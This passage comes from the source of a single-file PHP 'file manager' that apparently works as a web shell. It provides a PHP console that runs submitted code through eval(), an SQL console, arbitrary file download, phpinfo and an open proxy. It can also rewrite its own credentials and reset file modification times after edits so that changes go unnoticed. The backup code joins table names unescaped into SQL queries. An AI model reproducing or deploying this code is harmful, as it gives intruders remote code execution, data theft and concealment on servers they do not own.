		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhG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aW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBP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R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

